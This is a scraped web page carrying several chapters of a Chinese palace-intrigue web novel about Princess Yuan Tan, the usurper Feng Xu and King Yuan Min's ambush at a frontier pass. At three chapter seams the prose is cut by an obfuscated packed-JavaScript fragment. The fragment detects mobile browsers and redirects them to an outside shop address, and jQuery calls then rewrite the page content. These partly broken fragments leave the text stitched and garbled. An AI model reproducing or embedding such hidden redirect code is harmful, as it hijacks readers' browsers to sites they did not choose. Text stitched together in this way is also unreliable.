;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14214911|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,不要告诉他。” 冯姮紧握住她的手,不断唏嘘。孩子们纷纷围了上去,三双清澈的眸子一瞬不瞬注视着她。 舜英扯了扯唇角,柔声道:“娘亲病了,看大夫喝药就会好。你们这些天去祖母那儿住着,听话。承祎你是哥哥,要给弟妹做好表率。” 冯姮会意,使了个眼色,冬雪带三个孩子先回宝慈宫。 舜英强撑着坐起来,笑了笑:“母后,如今两国势如水火,他是一国之君。” 顿了顿又问:“我饿了,宝慈宫的小厨房可有膳食?” 冯姮眼睛一亮,忙说:“母后这就回去吩咐她们现做,热热地送来才好吃。” 舜英摇摇头,对门外唤了声:“春羽姑姑,叫她们进来侍奉梳妆,后苑的荷花正好,本宫想去散步看看。” 冯姮欣慰地笑了:“那母后先回去,在后苑的水榭摆膳,你慢慢梳妆好再过来。” 舜英颔首:“有劳母后。” 菱花镜里形容瘦,舜英默默注视镜中的自己,一阵晕眩。半晌后,强打精神、垂眸挑选着钗环。 春羽疾步进来,手中捧着一个未曾启封的木盒:“娘娘,延恩侯府送来的八百里加急。” “延恩侯?北宛?”舜英悚然一惊,手中的珠钗哗啦坠回盒中,急切地问,“可是阿昙出事了?快打开!” 思忖片刻,又吩咐女史:“赶紧去备笔墨和驿马,本宫要给王上传信。” . “有些不对”,沉默了一路的苻洵忽然开口,“当时在柘枝城,白袍卫居然没有遭遇太强的对手。” 郎琊眼睛一亮:“对呀,翊国要完全控制北宛局势,必定会留不少武功高强的耳目在冯彬身边,一为监视、一为保护。” “可那天,冯彬从厮打到被杀,足足一盏茶时间,那帮人都未现身。” 秦川讶异道:“冯彬不是主子杀的?” “主子巴不得他活着”,郎琊蹙眉思索,没好气地说,“冯彬有能力有手腕,元昙对母国满怀仇恨,天天吹枕头风……杀了他对我们有何好处?” 秦川嘴快:“冯栩娶了元昙不也一样?” 郎琊摇头:“那狼崽子可跟冯彬不同,这世上居然有人能对照拂自己多年的胞兄下手,算长见识了。” 苻洵静静听他们议论,唇角噙一丝笑意,不予置评。 许久,秦川长叹一声:“走一步看一步吧……对了,主子婚期将近,咱们何时返回灵昌?” 立即被郎琊怼回去:“佳期定在十月底,眼下才八月初,近什么近?” 秦川不满地嘀咕:“替主子高兴嘛。” 郎琊觑着苻洵脸色,感慨道:“世事无常啊,主子这边新婚之喜,褚王后却病入膏肓。” 秦川讶异:“这些王室秘事,你如何知晓?” 郎琊摇头:“已算不得秘事,她病势汹汹,丞相顾不得许多,在昇阳重金悬赏名医,药石罔医。” 一直满脸淡漠听他们闲聊的苻洵,蓦地收紧缰绳,眼神一冷:“什么病?” 郎琊忙回复:“有些蹊跷,听起来不严重,就只尝不出味道、嗅不到气味,人却……” “错了,全错了”,苻洵眼瞳急遽收缩,执缰绳的手剧烈颤抖,转头看向郎琊,语气急切,“我忘了他们可能成为夫妻。” 郎琊发现,他眸中满是惊惶和恐惧,竟眼眶通红、蓄满泪水。 不待二人反应,已扬鞭策马疾驰而去,风中远远传来他的声音:“你们先回北卢守着,我出一趟远门!” “这都能忘?”秦川目送苻洵远去,小声嘀咕:“主子怎么老这样,先前在柘枝城也是,非得进宫去找元昙。” 郎琊耸耸肩:“除了咱们陛下和褚王后,他还把谁当回事过?” 秦川嬉皮笑脸恳求:“好哥哥,跟我说说嘛,冯彬死的那天主子到底做了何事?” 郎琊回想片刻,淡淡道:“他确实什么都没做。” 105. 南柯旧梦 明亮的阳光照在眼睑上,她懒懒睁开眼,眼前晃动着的鲜红榴花、灼人眼目。 她正躺在一张长椅上,浮玉宫的九曲走廊廊腰缦回,水塘里的藕花满庭清芳。 父王和母妃相拥坐在檐下,面带微笑看着庭中一边奔跑、一边笑闹的稚子。 “阿矅,跑慢点……” 她的二哥和三哥手中拿着木鸟和木剑,躲来躲去逗引着幼弟。 父王的目光慈柔:“采薇,再过上十年八年,等阿矅成婚了,我就传位给他。咱们一起去游山玩水、享享清福。” 母妃用丝帕替父王拭汗,轻声嗔怪:“你啊,就是太较真……这国君才做得如此劳累。” 父王笑了:“累些无妨,打下这万代基业,给咱们的子孙后代,值!” 母妃挽住父王胳膊,将头靠在他肩膀上:“再苦再累,采薇都会永远陪着你。” 光阴荏苒,檐下相依相偎的父母两鬓斑白,庭中奔跑的男孩飞速长大。 她看到,父王摘下头顶旒冕,亲手给元矅戴上。 她看到,两个哥哥、一个弟弟都出落得英伟又挺拔,却依然像幼时那般亲密无间。 替她寻来失传的琴谱;承诺等她再大些就教她骑马射箭;外出公干后,带回双倍的胭脂、水粉、香露、钗环头面,一份给她、一份给新嫂子。 画面开始震荡,她看见母妃伏在桌子上,唇角鲜红的血蜿蜒流淌。 二哥三哥不见了,铺天盖地的缟素白,她藏在父王背后怯怯看过去,只看到白布下流淌的殷殷血迹。 她害怕极了,紧紧去抓父王的袖子,抓了个空。 一转身,是朱明院的前堂,汉白玉石椁、金丝楠木棺中,父王的脸和身子浸在水银里,再也不会对着她笑,也不会抱着她、用青青胡茬蹭她脸颊了。 冯姮站在她身后,眸中含泪、眼神悲悯。她却从那张温婉的脸上看到胜利者的微笑,看见那洁白无瑕的双手沾满鲜血、那一尘不染的袍袖藏污纳垢。 她发现自己又跪在上书房,穿着冕服的元矅问她:“姐姐可愿嫁与冯彬为妻?” 她含泪抬头、直抒胸臆:“不愿意。” 气氛骤冷,一股森冷缠绕着脊背直冲天灵盖,端坐高位的国君,面容变成了元旻,冷冷睥睨着她。 她吓得失声尖叫。 一转头却是兴庆宫外,荷塘里漂浮着元矅稚嫩的尸骸。 她看到年幼的四哥,居高临下伸手推向元矅,四周的人来来往往、视若无睹。 她在人群中看到了外公、舅舅和九叔,飞奔过去、想拉住他们,那段距离却怎么都跑不到。 眼睁睁看着,所有熟悉的人背对她远去,对着她那虚伪冷酷的嫡兄,伏地山呼:“王上万年!” 她孤独地逆着人潮,耳边声音纷乱,都在歌功颂德,称赞她的嫡兄贤明、仁厚…… 混乱的声音静了下来,她站在南熏门外,冯彬青涩地对她行礼:“多谢公主救命之恩,听闻公主生辰将近,在下刚觅得一匹温驯的良驹,想送给公主作为贺礼,还望笑纳。” 她站在阳光下,看着对面活生生的冯彬,注视着他温柔如水的双眸:“可我不会骑马。” 冯彬脸红了:“我可以教你。” 这次,她直接了当地说:“阿彬,莫要白费工夫了,我现在不爱你,以后也不会爱你。” 眼眶一阵阵酸涩,泪花模糊了视线,她哽咽道:“阿彬,我不想辜负你,也不想害了你,我期盼你好好活着。” “阿彬,留在昇阳吧,我会竭尽所能替你谋求前程,不要回北宛、不要回柘枝城、不要……” “不要死!” 耀眼的天光晃了晃,乍然暗下去,冯彬唇角仍带着微笑,泪水却不断从眸中涌出,哽咽着低语:“昙儿,这么多年,我到底算个什么?” 他的心口忽然鲜血喷涌,染红了大片衣襟,她慌乱地飞扑过去、想替他堵住胸前的破洞,血却越流越多。 . “不——”元昙惨呼着坐起来,双手捂住脸颊,泪如泉涌。 石头砌成的屋子密不透光,却散发着干爽的草木气息,闻起来很是洁净舒适。凉风夹着沙子从矮门吹入,送来缕缕微苦的药香。 冯栩在门外支了个炉子,背对着门口,有模有样地学习煎药,脸上抹着几道黑灰。 听见身后的声音,抬眼瞥了她一眼,笑着解释说:“找部落里的巫医开的安神汤,怕他们弄得不干净。” 见她左顾右盼找着什么,忙吩咐随从:“阏氏醒了,快去把孩子抱过来。” 元昙茫然四顾,只见秋高气爽、蓝天白云,群山高耸入云、延绵无垠,山脚是葱郁的草皮和灌木丛,山腰是被风侵蚀的岩石、长着稀疏几丛灌木,越往上草木越少,山顶的云岫间积着一簇白雪。 “这是乌兰山?” 冯栩站起来,扶着摇摇欲坠的她,柔声道:“昙儿,你睡了太长时间,我们已到朔门关了。” 元昙神思恍惚地想了一阵:“我记得你说,要来朔门关等我四哥。” “我们就在这里等他”,冯栩认真注视着她双眸,一字字说,“然后,我向他俯首称臣,名正言顺求娶你。” 元昙错愕:“你不是最恨向别国俯首称臣么?” 冯栩笑了:“可我想娶的阏氏是翊国公主,我只能按中原的规矩。” 想了想又说:“这些天我认真想过,你的嫡兄需要一个向他俯首称臣的汗王,那个人是哥哥还是我,或许并不重要,等我坐稳了王位,他会答应的。” “是啊……我嫁给谁不重要”,元昙摇摇头,苦涩地笑了,“可是阿彬死了,你的狼卫还杀了他派驻柘枝城的使臣。” 她忽然惊恐地睁大双眼,不寒而栗:“你不知道我四哥有多可怕,都说他仁善,但凡是拂逆过他的人,都会死无葬身之地。” 冯栩心念一动,问道:“所以,前些天你以延恩侯的名义,让人快马送到昇阳的那封信,写给谁的?” “我不能眼睁睁看着他杀了你”,元昙低下头,涩声说,“写给一个与我同病相怜的人,她也是这世上唯一能劝得动四哥的人。” 冯栩松了口气:“她能劝得动翊王便好,我把信换了——换成求救信。昙儿,若翊王不愿接纳我,你还有一条退路。” 元昙愣住了,泪水大颗大颗滴落、洇入前襟:“阿栩,若不是因为我,你根本不必如此仓促,以至于穷途末路。” “求你,不要对我这样好。” “我与哥哥迟早有一战,本就不该牵连到你,对不住……吓到你了”,冯栩笑了,取出丝巾替她拭泪,声线温柔,“从今往后,只要我还拿得起刀,必定拼死护住你和孩子们。” 顿了顿,他眼神有些复杂,似喜似悲:“昙儿,就算是为了哥哥的骨血,你也要珍重。” 元昙难以置信地捂住嘴,喉咙挤出几声呜咽,避开他的手、惊恐地倒退了几步。 冯栩不明所以:“怎么了?” 元昙慌乱摇头,泪如泉涌:“不要堕掉他……” 冯栩更诧异:“我为何要堕掉他?” 忽然反应过来,含笑将她拉回自己身边:“你在想什么,这里不是中原。况且,我与哥哥的争斗已结束了。” “凡是出生在我的帐篷里,都是我的孩子。” 元昙稍微平静了些,泪眼朦胧地仰头看他:“阿栩,若我一开始遇到的人是你,该有多好。” “你一统草原,阿彬不必回柘枝城卷入争斗,他就不用死了,他其实很讨厌争斗。” “若我一开始嫁的是你,必不会与别人生儿育女,事情不会变成这样。” “现在弥补还不算晚”,冯栩弯腰从身后环住她,下颌搁在她的肩头,与她脸贴脸紧紧依偎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14224414|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我才十九岁,你也刚满二十一,我们以后还有很多时间。” “眼下不过一时艰难,就让你我齐心,了结掉这场恩怨。” 元昙恍惚地笑了,眼神逐渐坚定:“好。” . “高烧连日不退,她就不能把这孩子堕了,好好服药医治么?” 元旻烦躁地将一封密信摔到书案上,愤愤道:“也不知母后站哪头,又跟她合起伙来瞒着我!” “也不算瞒着,王后娘娘的原话是,等到了武原再把信给您”,天权小心翼翼地辩解,“昇阳传来的最新消息是,王后娘娘身子好了些,眼下不仅餐饭增了,已经能每天去后苑逛上半个时辰了。” “巡完武原就回昇阳了,还不算瞒”,元旻没好气地抱怨,“朕不过说句气话,她就真的犟成那样,孩子要紧还是命要紧?” 越想越气,抬笔蘸墨运笔如飞,边写边自言自语:“身子好了便罢,若她拖出个三长两短,朕……朕……” 想了半天,也想不出该什么责罚,只得重重将笔摔到地上。 天枢和天权满脸糟心地对视片刻,又往门外瞥了几眼,拼命想觑得时机溜走。 院外元晞正带宣正浩和宣正淼进来拜见,二人边走边闲聊。 宣正浩苦笑着说:“可是不巧,萧勖前几日探查到北宛骑兵有异动,带武卒协助斥候营出关察看时身受重伤,卧床不起,恐污了圣眼。” 元晞讶异:“骑兵异动,我们怎没收到消息?” 元旻隔着窗子凉凉地说:“见不着就算了,探寻线报才是正理,既然重伤,宣爱卿代朕送些好的伤药慰问即可。” 宣正浩忙稽首,恭声道:“谢陛下体恤,萧勖确实大半时间都领兵在外,就连老臣见他的次数也屈指可数,此次重伤始料未及啊。” 元晞笑了笑:“年纪轻轻如此勤勉、又如此英武,着实难得,表舅择婿有方。” 宣正淼新官上任三把火,朔宁军四万轻骑、两千铁骑,斥候营、弓弩营、炮兵营等一应俱全,着实无甚好指摘的。 这些天,元旻一直阴晴不定,没什么心思检阅军队,只换着法儿地夜游、摆流水席、饮宴。 直到八月十三,一封八百里加急从昇阳送抵武原,元旻瞥见那桃花笺糊成的信封,霎时精神大振。等不及入夜,匆匆接过信直奔书房,展开信纸后却是一愣。 随后,脸色阴沉地看向天枢:“开阳他们还未回柘枝城么?” 天枢正迟疑着,门外骤然响起急促的脚步声,是天权一路狂奔而来:“陛下,朔门关有异!” 元旻忙斥退所有仆婢:“进来说!” 天权会意,进屋后飞快掩上门:“斥候营在朔方门外发现了长公主。” 元旻看了看手中的信,又看了看臊眉耷眼的天权:“杵在这做什么,还不去接公主回来?” 天权埋下头,沉声道:“朔门关外有骑兵游荡,就这样开门接回来?” 元旻:“接,加派人手守好,泱泱大国,居然都护不住一个王室贵女,岂不令列国耻笑?” 目送天权走远,元旻继续吩咐天枢:“尽快召回开阳,让他把这些时日柘枝城发生的一切,事无巨细,全部理清,再来禀朕。” “召国尉入书房议事!” 说完这句,他将信纸揉成一团、往书案上重重拍下。平复半晌后,竭力压制暴怒,又将信纸舒展开、摊平,逐行逐句地细看。 那张弥散着浓浓药味的桃花笺,运笔虚浮,寥寥数语,内容却惊心动魄—— 北宛内乱,冯栩率三千狼卫、瓯托部及哲里木部共计三万精兵控制了柘枝城,参与那达慕节的二十三部单于慑于其暴戾,尽皆臣服。弑兄篡位之后,冯栩大肆屠戮城内官民,留驻城内的隐蝠卫、延恩侯阖府上下俱丧身于乱军之中。 先王遗孀元昙貌美,冯栩觊觎已久,强占寡嫂…… 106. 惊弓之鸟 朔宁边户都督府建在半山腰,从门前空地极目远眺,武原县尽收眼底,街区规划得十分齐整,青灰色的硬山屋顶罗列有序,宽阔笔直的街面可容数骑一路狂奔。 武原城往北,危峰万仞界南北,朔门关据守天险,乌兰山巍峨入云、北宛一望无垠的草原… 元昙被一顶软轿抬进都督府时,暮色乍起,山上山下各屋舍的窗口,正稀稀落落亮起一盏盏灯火。 元旻正在书房读冯栩派使者呈递的国书。 所有邦交条款与冯彬在位时别无二致,同样的臣服、同样的岁贡、同样地请翊使驻柘枝城“指导”内政,就连联姻的阏氏都是同一个人。 元旻简直要被冯栩的无耻气笑了。 “谋害朕一手扶植的汗王在先,屠戮我大翊使臣在后,甚至欺辱朕之亲妹,做尽禽兽行径,先斩后奏,还来觍颜求娶我大翊公主。” “竖子尔敢?” 元晞叹了口气:“北宛的王位继承历来如此,否则每代汗王怎么生那么多。” 元旻幽幽嘲讽:“子嗣不死绝,争夺不休、刀兵不止,朕以往只听母后略微提过,近几年亲眼目睹,着实独特。” 是挺独特,生一窝儿子、养一窝蛊,传一代王位、屠几遍城。 元晞觉得很难评,转了话头:“那王上的意思是……继续战?” “先不急,等七妹妹和开阳回来,摸清楚前因后果再做打算”,元旻默了片刻,“当时一听阿彬找回胞弟,就觉着有些不妥,不成想一出手就搅了个天翻地覆。” 元晞也颇觉头疼:“好容易等那拨有力争抢的人死绝了,才送冯彬回去,不知这冯栩是哪儿冒出来的,才十九岁就如此厉害……以往竟从未听说过。” 元旻冷冷道:“从哪儿冒出来不要紧,想篡权夺位也不要紧,他不该先斩后奏,杀了冯彬。” 天权在门外奏报:“陛下,七公主到了。” 元旻忙起身,大步流星迎了出去,元晞也紧随其后,边走边关切地问:“阿昙可还好?” 天权低下头,默了一瞬,艰涩地说:“不太好……” 婢女掀开轿帘的刹那,借廊下幽微的灯光,元旻看清了轿中的女子,蓦地愣住了。 岂止是不太好。 脸颊凹陷,苍白如纸,眼神飘忽不定,去年的衣袍已显得宽大,松松地罩在她身上。 元旻再是对崔夫人不满,斯人已逝,见她如此凄惨,也不禁恻然。 元昙对上他的目光,打了个冷噤,又往后瑟缩了点。元旻不由放缓了声音,温声道:“阿昙别怕,是四哥。” 元昙一瞬不瞬注视他半晌,抚了抚左边手腕,像是下定决心,试探着往轿子边缘挪了一些。他向轿内伸出手,元昙又往外挪了点,忽然伸出右手,紧紧攥住他的袖子。 元旻这才发现,她的手心全是皮肉磨烂后结的厚痂。 下轿时,她的腿绵软无力,每步都踩不踏实,被轿子的抬杠绊了一下,整个身子歪倒在他怀中。 元旻忙就势搀扶住她,几个有眼色的武婢已抬来一架贵妃榻,想要将她搀到榻上。岂料别人一触碰,她便发出恐惧的尖叫,颤栗着将那袍袖攥得更紧,往兄长怀里钻了钻。 元旻活到二十多岁,身边的女人要么如冯姮那般沉稳大气、要么如舜英那般坚忍果决、要么如元晴那般英姿飒爽,极少有人如此娇怯怯、柔弱弱地依赖着他,好似离开他的视线就活不下去了。 不禁软了心肠,示意武婢将贵妃榻抬进书房的云母屏风后,任由她攥着衣袖,将她打横抱起放到榻上。 “四哥不走,四哥在这陪着阿昙。” 元昙的目光在他身上逡巡半晌,终于乖巧地点了点头,缓缓松开了他的袍袖。 元旻示意元晞先去忙,从侍婢手中接过安神汤,亲手喂她喝下。见她眼泪汪汪盯着自己,像惊讶又像敬畏,笑了笑:“你是我亲妹妹,喂你喝药没什么。” 元昙依偎着他颤抖:“四哥,苏嬷嬷死了、延恩侯死了、阿彬死了……他们都死了,柘枝城全是死人……好多血……” 元旻知道她柔弱,怕是从未见过如此血腥惨烈的场景,眼中又多了几分恻隐:“回来就好,四哥不会再让人伤你。” 元昙:“四哥,我从草原逃出来的时候,听他们说冯栩已向你臣服、还要求娶我。” 她攥住他衣袖,仰起头看着他,满眼乞求:“四哥,不要再打仗了,我愿意嫁给冯栩。” 元旻蹙眉,压下怒气:“那冯栩是头不折不扣的狼崽子,朕派去的人都敢杀,此事不可能善罢甘休。” 又温声宽慰她:“随四哥回昇阳,你四嫂很担心你。” 元昙怔怔收回目光,阖上双目,流下两行清泪。 元旻静静守在榻边,等到安神汤生效,攥住衣袖的手松开,才拾起她那只手塞回被窝。 她的左腕上有个冰凉的东西,硌着他的掌心。他留神瞄了一眼,那是只纯银的跳脱,镯身錾刻着古老的北宛文字,连接处雕成含苞待放的雪莲。 . 药婆双膝跪在光洁的水磨石地板上,上身伏地瑟瑟发抖:“奴婢祖上是岐黄世家,尤擅千金科,敢以身家性命作保,这位贵人确实已有身孕。” “多久?” “快两个月了。” 元旻揉了揉眉心,驱赶开眼前重影,挥手示意她退下。 紧接着,听到天枢送她出去的脚步声,在门外寒声叮嘱:“留夫人在府中小住几日,什么当说、什么不当说,夫人自有分寸。” 这家伙,恐吓起人来一套一套的。 元旻苦笑着摇头,端起案头的药茶一饮而尽,眼前的重影终于完全消融。 琥珀翠只能压制毒素继续蔓延,眼睛受侵染时日尚浅,随时喝些清肝明目的药茶,目力已大致恢复。 至于中毒已深的味觉和嗅觉,对生活影响不大,多等些时日也无妨。 天枢已回来,有些诧异:“冯彬是七月底过世的,公主怀妊两月,有何不妥?” 元旻沉吟道:“你可还记得咱们六月二十一,在怀戎收到的急报?” 天枢思忖一阵:“延恩侯从柘枝城发来的八百里加急?” “冯睢在信上说,冯彬托他向朕禀告想纳妃嫔,却没有现成的人选,还是朕让冯睢选了几个献给他。” 天枢瞠目结舌:“冯彬对七公主的情份,咱们都有目共睹,这不像贪色,倒像赌气。” 元旻笑了:“还有一事朕也颇为疑虑,元昙同我念叨了那么多人,却唯独没提及那两个孩子。” 天枢摸不着头脑:“许是惊吓过度,忘了?” 元旻摇头:“阿英拼了命都要保住腹中胎儿,这世间大都是母子连心,她再惊吓,也不可能丢下孩子只顾自己逃命。” “那就只有两种可能”,天枢瞳孔骤然放大,“其一,她不愿让这里的谁见到那两个孩子;其二,她十分笃定那两个孩子很安全……比这里更安全。” 元旻凝神沉思片刻,抬头看向天枢,目光如炬:“这世间有安神汤,便有乱神汤,该怎么做你可是懂了?” 天枢心神一震,忙颔首领命。 . 元昙发现自己又跪在上书房,穿着冕服的元矅问她:“姐姐可愿嫁与冯彬为妻?” 她含泪抬头、直抒胸臆:“不愿意。” 气氛骤冷,一股森冷缠绕着脊背直冲天灵盖,端坐高位的国君,面容变成了元旻,冷冷睥睨着她。 她吓得失声尖叫。 落荒而逃,步履匆匆地跑出昇阳、洛京,跑过伊河滔滔浊浪,跑出朔门关,在苍莽的草原上狂奔,跑过阿茹娜雪山下欢腾的盛会,跑回柘枝城,跑到王宫正殿的大门前,双手重重一推—— 殿内其乐融融的男子和孩子齐刷刷回头。 天光乍然泄入,殿中灯树齐齐熄灭,那个清俊男子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他的双眸乍然露出凶光,一个箭步冲进殿内,拔剑刺死跪在地毡上的小倌,然后举起思洛狠狠掼向地面。 “不——”元昙惨呼着坐起来,窗外一片漆黑,秋风萧疏,吹着细密的雨丝,交织成铺天盖地的网。 已是八月底,再下几场秋雨就该有飞雪了。 她从床上起来,披上外袍走出房门。对面檐下灯火通明,内卫将那间书房、这个院子里里外外,把守得好似铁桶。 急促的马蹄声从山下疾驰而来,到了都督府大门,变作飞奔的脚步声,冲到元旻所在的院子门口。 隔着重重内卫,信使跪在雨地中,高呼:“启奏陛下,北宛急报!” 片刻后,书房里传出宦官的声音:“宣。” 又一封国书,北宛汗王冯栩请求觐见翊王陛下! 元旻怒极反笑:“他还跟朕的妹妹较上劲了!” 思忖片刻后,吩咐道:“召国尉大人、宣正浩、宣正淼明早来觐见。” 安排完毕后,元旻走出房门,隔千万如烟似雾的雨丝,一瞬不瞬注视着对面檐下的元昙,瘦削、柔弱、悲伤,好似一阵风就能吹倒。 她左腿后退小半步,双膝微曲,两掌置于右腰,上半身和头部微倾,庄重淑雅地对他敛衽一礼。 他对元昙温煦地笑了笑,吩咐岚烟给她送去一件厚实的绒边披风。 . 永平六年八月二十一,国尉元晞代国君出巡望月关,朔宁府边户大都督宣正淼陪同。 元旻站在都督府面北的望楼上,悠悠道:“冯栩不日就要入城觐见,北宛骑兵骁勇,还请表舅守好关隘城池。” “老臣义不容辞”,宣正浩恭声道,“陛下,小婿重伤未愈,武卒营副校尉曲淮、第一弓弩部指挥使叶骏在府外待命。” 元旻:“宣。” 目送宣正浩领命远去,他轻轻伸出手,感受着丝缕落在掌心的冰凉:“天枢,让开阳不必入城了,另替我办件事。” 107. 王不见王 永平六年八月二十五,北宛汗王冯栩入武原城觐见翊王元旻、以示臣服,并求娶大翊公主元昙。 朔门关以北,据地形建七座瓮城,一城叠一城。沉重的朔方门缓缓合上,少年率六百亲兵孤军深入。 少年率亲兵行至第四重瓮城之时,瓮城前后的门忽然猛地合上,墙头迅速架起数百弓弩,强弓张拉满月、弩床轮轴绞紧,箭头对准入城的一行人。 少年仰头往城楼看了一瞬,高声叱令:“翊王陛下在此,不得无礼,下马!” 旋身一跃,潇洒地跳下马背,卸下身后长弓、箭筒,腰间长刀短刀,一步步走向内城,对着偏南的那道城楼弯曲双膝,遥遥稽首下拜。 元旻坐在城楼上,淡漠地看着身侧容颜枯槁、神思恍惚的妹妹,冷声道:“元昙,看好了,什么都是有代价的。” 然后侧过头,对弓弩部指挥使叶骏微微颔首。叶骏会意,挥了挥手,传令兵高高扬起令旗。 元昙不由地绷紧了脊背,几声哀嚎在她喉咙里滚动,她紧闭双唇、不敢发出一丝声响,只攥紧拳头、不断颤栗,紧闭双目不忍直视。 令旗斩钉截铁地挥下。 霎时间,万箭齐发。 锐响破空,密集如雨的流矢纷纷钉入少年和亲卫的身体。 被那一箭射倒时,少年竭力仰起头,向城墙上的她挥了挥左臂。 隔得那么远,城楼上的人还是看清了他的左腕:白铜的跳脱,镯身錾刻着古老的北宛文字,连接处雕成含苞待放的雪莲。 严阵以待的一千武卒一拥而上,将受伤的少年及亲卫五花大绑,押进内城。 隐蝠卫簇拥着元旻,武卒营押着一百余名的俘虏,浩浩荡荡向南穿过三重瓮城,穿过宽阔的街道,走上建在半山腰的朔宁府边户都督府。 同一时间,怀戎大营点将台,谢朗从匆匆疾驰的纯钧手中接过虎符,点将怀戎、广宁、抚恩三郡郡尉,校场上是整装待发的五万轻骑。 “开边墙城门,出发!” 湛卢一路狂奔,在去望月关的半道追上了元晞一行人。是夜,沉睡中的宣正淼感觉颈部传来一阵寒意,睁开双眸,发现卧房内整整齐齐站着十几名武士,为首的那位正将长刀架在他脖子上。 元旻回都督府之后,命武卒将俘虏押在院外待审,想了想,又斥令天枢率隐蝠卫退离。 “朕要处理家事,尔等去书房三丈之外守着,非朕宣召,不得放任何人进来。” 看着隐蝠卫悄声散开,才拉了元昙进屋。搬了张椅子,背对书案坐下,冷冷注视着面前的幼妹。 “元昙,朕再问你一遍,七月十八,柘枝城究竟发生了何事?” 元昙跪在地上,脸色煞白,眸中泪光闪烁,却肩背挺直,直视着前方,一言不发。 元旻目光在她脸上停留片刻,闲闲地开口。 “傻孩子,别等了,朔门关不会被攻破。” “武卒营已去捉拿宣氏逆党了。” 元昙身躯一震,猛然抬头、惊恐地望向他。 元旻唇角扬起嘲讽,从袖中取出一封血书:“朕即将抵达武原城时,有武卒营小卒拼死向我送信。” “写信之人叫萧勖,向朕告发他的岳父宣正浩,勾结北宛逆王冯栩,欲向南封锁神武关,割让朔宁府并入北宛,使大翊失朔门、望月两大关隘,长城毁半。” 抵达武原县后,元晞旁敲侧击要见萧勖,果然被宣正浩百般推诿。后来元旻借各种饮宴夜游,引开大群宣氏子弟,同时密令隐蝠卫、进入宣正浩和宣正淼的书房卧房搜查,果真搜出他与冯栩往来密信。 元旻顿了顿,嗤笑道:“傻妹妹,这招暗度陈仓,朕十多年前就会用了。自古以来王不见王,哪个国君会傻到只带几百人就深入敌境?瓮城万箭齐发那会儿你装得挺辛苦,却不够像。” “既有人扮作冯栩在城内吸引火力,他此时应该率大军在来朔门关的路上了吧。” “宣庆三郡的骑兵正领命从后路追击他们、截断粮草供给。” 元昙挺直的脊背一点点瘫软下去,木然仰着头,眸中涣散了神采。 元旻又对门外武卒吩咐:“带进来。” 书房门“嘎吱”开了又合上,武卒搀着刚刚被救出的瘦削少年走进来,他浑身并无伤痕,只是眼睛有些畏光、精神不大好。 少年穿一身黑色短打,低埋着头单膝跪地:“末将萧勖拜见陛下,王上万年!” 元旻一瞬不瞬盯着元昙:“元昙,好生听着,你不惜一切、哪怕叛国也要维护的情郎,承诺了宣正浩什么?” “萧勖,讲!” 萧勖头埋得更低,恭声道:“冯栩承诺,封宣氏为侯,世代罔替,赐丹书铁券,还有……” 他小心翼翼瞄着元昙,迟疑道:“娶宣氏女为阏氏,往下三代,北宛阏氏皆出自宣氏一族。” 沉默的元昙身躯晃了晃,难以置信地望向萧勖,眼中泪花浮动,流下两行泪水。 元旻冷笑:“你给阿英那封求救信,冯栩替你换过吧。你真当他是替你谋求退路?” “不过是诱我们迎你入城,不然他这出痴心追妻、不惜俯首称臣的大戏如何唱?” 元昙的头和双手无力垂下,就那样木楞地跪在原地。许久之后,忽然从喉咙挤出一声哀嚎,飞快膝行几步,蓄足力量,一头撞向元旻身后的青玉书案。 元旻想也未想、伸臂拦住她,用力一甩将她扔开,蹙眉低叱:“朕不会伤害你,你也不要寻死觅活。” “十一年前,父王授朕东宫令时,要求朕先进太庙、再入凰羽寺,对列祖列宗、皇天后土发下毒誓,无论崔夫人之后代犯下如何滔天大罪,都必须令其善终。” 元旻娓娓说着,冷漠地瞥向她,却倏然惊呆了。 只见她颤抖着弓起腰身、紧紧捂住小腹、满头是汗,眸中蓄满泪花、却一声未吭,满眼恐惧和乞求,定定望着他。 方才他那一扔,竟摔得元昙动了胎气。 元旻一惊,怒气消减了些:“寻死觅活的时候,倒不曾想过孩子?” 元昙泪如雨下,哀求地看向他,呜咽道:“这是阿彬的骨血,求你救救他,四哥……四哥……” 元旻听着一声声“四哥”,心肠软了几分,赶紧将她打横抱起,一边走向屏风后,一边吩咐萧勖:“快去叫大夫。” 身后的萧勖恭声领命,慢慢站起来,忽然扬了扬手。 元旻察觉背后风声有异,条件反射地侧身避让,却因抱着元昙慢了半分,脊背传来一股剧痛。飞来之物已刺破衣衫,深深钉入他的后背。 紧接着,刀光如虹影在空中连翩舞来。 他一边忍着痛、竭力闪避着,一边抱着元昙大步流星往里走。 电光火石间,他感觉前胸猛地一震,一道细锐的劲力射进心口,贴肉处有什么东西应声碎裂。那股力量却未消失,挟着寒气刺进了他的胸腔。 清脆的撞击声,是碎了的护心镜摔到水磨石的地面;还有声沉滞的“咔哒”,是放在贴肉处香囊内的琥珀翠裂了。 怀中的元昙仍是满脸泪痕,怯弱可怜的模样。 